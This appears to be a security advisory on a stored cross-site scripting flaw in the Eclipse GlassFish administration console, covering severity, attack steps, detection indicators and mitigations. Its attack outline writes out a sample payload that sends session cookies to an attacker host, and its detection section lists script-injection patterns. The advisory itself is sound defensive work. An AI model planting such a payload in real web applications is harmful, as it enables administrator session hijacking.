CVE-2024-10032: 
Java vulnerability analysis and mitigation

CVE-2024-10032 is a Stored Cross-Site Scripting (XSS) vulnerability in the Administration Console of Eclipse GlassFish version 7.0.15. It allows an authenticated attacker with high privileges to inject malicious scripts that are persistently stored and executed within the administration interface. The vulnerability was published on July 16, 2025, and affects the Maven package org.glassfish.main.admingui:console-cluster-plugin in versions up to and including 7.0.25. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 6.1 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is improper neutralization of user-controllable input before it is rendered in web pages served to other users (CWE-79). An authenticated attacker with administrative privileges can submit crafted input containing malicious JavaScript through the GlassFish Administration Console, which is then stored server-side and executed in the browsers of other administrators who view the affected console pages. The attack vector is network-based, requires low attack complexity, high privileges, and passive user interaction from a victim administrator. The vulnerability is tracked under GHSA-62g9-99m7-w8wv and was reported via the Eclipse security issue tracker (GitHub Advisory).

Successful exploitation allows an attacker to inject persistent malicious scripts into the GlassFish Administration Console, which execute in the context of other administrators' browser sessions. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions performed on behalf of victims, and compromise of the integrity of the administration interface. The subsequent system confidentiality impact is rated High, meaning sensitive administrative data accessible through the console could be exposed to the attacker (GitHub Advisory, Red Hat CVE).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Red Hat CVE). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. The EPSS score is approximately 0.039–0.118%, placing it in the lower percentiles for near-term exploitation likelihood (GitHub Advisory). Exploitation requires an authenticated account with high (administrative) privileges, which significantly limits the attacker pool.

1. Gain Administrative Access: Obtain valid credentials for the Eclipse GlassFish Administration Console (typically accessible on port 4848), either through credential theft, phishing, or reuse of default credentials.
2. Identify Injectable Fields: Navigate the Administration Console to locate input fields that accept user-supplied data and are rendered back to other administrators (e.g., cluster names, resource names, or configuration fields within the cluster plugin).
3. Inject Malicious Payload: Submit a crafted XSS payload (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field within the console.
4. Payload Persistence: The malicious script is stored server-side within the GlassFish configuration or database backing the Administration Console.
5. Victim Triggers Execution: When another administrator navigates to the affected console page, the stored script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf.
6. Session Hijacking or Further Compromise: The attacker uses stolen session tokens to impersonate the victim administrator and perform unauthorized administrative operations on the GlassFish server (GitHub Advisory).

• Logs: GlassFish Administration Console access logs showing POST requests containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, <script>, onerror=, onload=) in form fields.
• Network: Outbound HTTP requests from administrator browsers to unexpected external domains shortly after accessing the Administration Console, potentially carrying cookie or session data as query parameters.
• Application: Unexpected or malformed values in GlassFish configuration fields (e.g., cluster names, resource descriptors) containing script tags or event handler attributes.
• Browser: Administrators reporting unexpected redirects, pop-ups, or unusual behavior when accessing the GlassFish Administration Console.

The GitHub Advisory indicates that no patched version has been formally designated for the Maven package as of the advisory publication date, though updating Eclipse GlassFish to the latest available version beyond 7.0.15 is recommended (GitHub Advisory). As interim mitigations, administrators should restrict access to the GlassFish Administration Console (port 4848) to trusted IP addresses only, implement a Content Security Policy (CSP) header, and enable browser-level XSS protections. Monitoring administrative console activity for anomalous input or behavior is also advised (Red Hat CVE).